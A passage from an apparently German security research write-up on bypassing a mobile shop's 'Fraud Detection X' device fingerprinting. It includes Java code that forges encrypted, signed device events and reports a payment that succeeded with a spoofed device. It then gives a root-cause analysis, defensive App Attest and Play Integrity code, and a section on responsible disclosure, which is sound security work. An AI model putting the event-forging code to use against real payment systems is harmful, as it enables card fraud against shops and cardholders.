activeData.put("deviceType", device.getString("deviceType"));
activeData.put("osVersion", os.getString("version"));
activeData.put("osBuild", os.getString("build"));
return activeData;
}
}Besonders wichtig: Die savedDevices HashMap stellt sicher, dass jede xId immer das gleiche Device bekommt, Konsistenz ist entscheidend!
Event Construction
Zuletzt bauen wir die kompletten Fraud Detection X-Events zusammen:
public class FraudDetectionX {
public static JSONObject constructEvent(String siteId, String xId,
String locale, JSONObject event) {
JSONObject xEvent = new JSONObject();
xEvent.put("data", event.get("data"));
xEvent.put("mobileUID", xId);
xEvent.put("timestamp", System.currentTimeMillis() - 1L);
xEvent.put("type", event.get("type"));
xEvent.put("sentTS", System.currentTimeMillis());
if (event.get("type").equals("app/active")) {
xEvent.put("localTime", normalizedLocalTime(locale));
}
// Verschlüsseln mit unserem Algorithmus
String encryptedEvent = Crypt.encrypt(xEvent.toString());
// Finalen Request-Body bauen
JSONObject result = new JSONObject();
result.put("data", encryptedEvent);
result.put("signature", Crypt.getSignature(siteId + encryptedEvent.length(), "SHA-1"));
result.put("type", "enc");
result.put("mobileUID", xId);
return result;
}
public static JSONObject[] getxEvents(xOptions options) {
// Generiert alle 6 Events: 1x connect, 5x data
JSONObject[] events = new JSONObject[6];
events[0] = createConfigEvent();
events[1] = createNetworkEvent(options.getDeviceId());
events[2] = createPauseEvent();
events[3] = createActiveEvent(options); // connect endpoint
events[4] = createAccountEvent(options.getAccountId());
events[5] = createPauseEvent();
return events;
}
}Der Code baut alle notwendigen Events, verschlüsselt sie mit unserem Algorithmus und erstellt die Signature. Exakt wie die echte App.
Der Moment der Wahrheit
Zeit zum Testen. Funktioniert unser Generator wirklich?
Events senden
Wir generieren eine Event-Sequenz und senden sie an Fraud Detection X:
200 OK. Fraud Detection X akzeptiert unsere Events!
Der echte Test: Checkout
OK-Response ist schön, aber der echte Test ist: Können wir damit bezahlen?
Testaufbau:
- Onlineshop Y App frisch installiert
- Produkt zum Warenkorb hinzugefügt
- Checkout gestartet → Fraud Detection X-Requests blockiert
- Zahlung versucht → ABGELEHNT (wie erwartet)
Jetzt mit unserem Generator:
- Eigene Fraud Detection X-Events gesendet (mit gefakter Device-ID)
- Checkout erneut versucht...
- ZAHLUNG ERFOLGREICH!
Es funktioniert. Wir können Fraud Detection X komplett umgehen und beliebige iOS-Geräte vortäuschen.
Warum funktioniert das?
Kurz: Fraud Detection X vertraut dem Client blind.
Das System sammelt all diese Device-Daten, GPU, CPU, Storage, Network , aber validiert nie, ob sie echt sind. Keine Hardware-Attestation, kein Challenge-Response, keine Server-seitige Plausibilitätsprüfung.
Solange die Daten "realistisch aussehen" und richtig verschlüsselt sind, akzeptiert Fraud Detection X sie. Genau das haben wir ausgenutzt.
Die dunkle Seite: Bypass as a Service
Was wir gebaut haben, könnte trivial als API angeboten werden. Ein simpler REST-Endpoint, der auf Anfrage fertige Fraud Detection X-Events generiert , und schon könnte jede böswillige App beliebige iOS-Geräte vortäuschen.
Solche "Bypass-as-a-Service" APIs existieren im Untergrund. Sie ermöglichen Kreditkartenbetrug im großen Stil. Genau deshalb ist Responsible Disclosure so wichtig, und warum solche Systeme nie produktiv deployed werden sollten.
Root Cause Analysis
Warum funktioniert das überhaupt?
Lassen wir uns die fundamentalen Sicherheitsprobleme anschauen, die diesen Bypass ermöglichen:
1. Kein SSL-Pinning
Die erste und größte Schwachstelle. Ohne SSL-Pinning können Man-in-the-Middle-Angriffe trivial durchgeführt werden. Wir konnten alle Requests abfangen und analysieren.
Impact: Komplette Sichtbarkeit in die Kommunikation, inkl. verschlüsselter Payloads und deren Struktur.
2. Statische Client-Side-Verschlüsselung
Der Verschlüsselungsalgorithmus liegt komplett im Client. Es gibt keinen Server-Generated Challenge, keine Nonce, keine dynamischen Keys. Einmal verstanden, kann er beliebig oft repliziert werden.
Richtig wäre: Server generiert Challenge → Client muss mit Device-spezifischen Daten antworten → Server validiert
3. Fehlende Device-Konsistenz-Prüfung
Fraud Detection X prüft nicht, ob die Device-Daten konsistent sind. Ein iPhone 12,1 mit A17 Pro Chip? Sollte unmöglich sein. 128GB Storage aber nur 20GB verwendet? Verdächtig. Aber keine Validierung.
Der Server akzeptiert jede Kombination, solange die Daten "real aussehen".
4. Client-Side Trust
Alle Device-Daten kommen vom Client. Keine unabhängige Verifikation. Keine Hardware-Attestation. Komplettes Vertrauen in Daten, die der Angreifer kontrolliert.
5. Keine Hardware-Attestation
iOS bietet DeviceCheck und App Attest, APIs, die kryptografisch beweisen, dass Code auf echter Apple Hardware läuft. Android hat Play Integrity API.
Fraud Detection X nutzt keines davon. Ohne Hardware-Attestation ist Device- Fingerprinting wertlos.
6. Security through Obscurity
Das System verlässt sich darauf, dass niemand den Code reverse-engineered. Obfuscation statt echter Security. Sobald der Algorithmus bekannt ist, fällt das ganze System zusammen.
Proper Security Measures
Wie schützt man sich richtig? Hier sind Best Practices, die Fraud Detection X hätte implementieren sollen:
iOS App Attest + DeviceCheck
import DeviceCheck
// App Attest: Kryptografischer Beweis für echte Hardware
func attestDevice() async throws {
let service = DCAppAttestService.shared
// Generate Key (in Secure Enclave)
let keyId = try await service.generateKey()
// Get Challenge from Server
let challenge = try await getServerChallenge()
// Create Attestation
let attestation = try await service.attestKey(keyId,
clientDataHash: challenge)
// Send to Server for Verification
try await sendAttestationToServer(attestation)
}
// DeviceCheck: Token-basierte Device-Verifikation
func checkDevice() async throws {
let device = DCDevice.current
if device.isSupported {
let token = try await device.generateToken()
try await sendTokenToServer(token)
}
}Android Play Integrity API
import com.google.android.play.core.integrity.IntegrityManager
// Play Integrity: Verifiziert App, Device und Account
suspend fun checkIntegrity() {
val integrityManager = IntegrityManagerFactory.create(context)
// Get Nonce from Server
val nonce = getServerNonce()
// Request Integrity Token
val request = IntegrityTokenRequest.builder()
.setNonce(nonce)
.build()
val response = integrityManager.requestIntegrityToken(request).await()
val token = response.token()
// Send to Server for Verification
sendIntegrityTokenToServer(token)
}Server-Side Risk Scoring
Client-Daten sollten nur ein Faktor sein. Server-Side-Analytics sind entscheidend:
- Behavioral Analytics: Ungewöhnliche Kauf-Patterns?
- Velocity Checks: 10 Käufe in 2 Minuten? Verdächtig
- Geo-Location: IP aus Deutschland, aber Versandadresse USA?
- Device Consistency: Hardware-Daten plausibel?
- Historical Data: Ist das Device bekannt und vertrauenswürdig?
Rate Limiting + Anomaly Detection
// Server-Side Protection
function validatePaymentRequest(request) {
// Rate Limiting pro Device
if (getRateLimit(request.deviceId) > THRESHOLD) {
throw new Error('Rate limit exceeded');
}
// Anomaly Detection
if (isAnomalousPattern(request)) {
flagForManualReview(request);
}
// Hardware Attestation Required
if (!request.attestationToken) {
throw new Error('Hardware attestation required');
}
// Server-Side Token Verification
const isValid = await verifyAttestation(request.attestationToken);
if (!isValid) {
throw new Error('Invalid attestation');
}
}Fazit & Ethical Considerations
Dieser Case zeigt eindrucksvoll: Client-Side Security alleine ist nicht ausreichend, besonders nicht bei Payment-Systemen.
Key Takeaways
- Hardware-Attestation ist Pflicht für moderne Payment-Security (DeviceCheck/Play Integrity)
- Defense-in-Depth, Nie auf einen einzigen Security-Layer verlassen
- Device-Fingerprinting ohne Server-Validation ist wertlos
- Security-through-Obscurity versagt gegen motivierte Angreifer
- Kommerzialisierung von Bypasses ist eine reale Gefahr (Bypass-as-a-Service)
- Ethical Disclosure, Schwachstellen melden, bevor sie published werden
Ethische Verantwortung
Bei dieser Art von Research ist es wichtig, ethische Grenzen zu beachten:
- Responsible Disclosure: Schwachstellen müssen dem Betreiber gemeldet werden, mit angemessener Zeit zum Patchen
- Keine Exploitation: Solche Funde sollten nicht für eigene Vorteile oder kommerzielle Zwecke ausgenutzt werden
- Educational Purpose: Research dient der Bildung und Verbesserung der Security-Landschaft
- No Harm Principle: Keine Schäden für Unternehmen oder andere User verursachen
Mobile Payment-Security ist komplex, aber mit Hardware-Attestation, Server-Side-Validation und Defense-in-Depth können solche Bypasses verhindert werden. Der Schlüssel: Niemals dem Client vertrauen.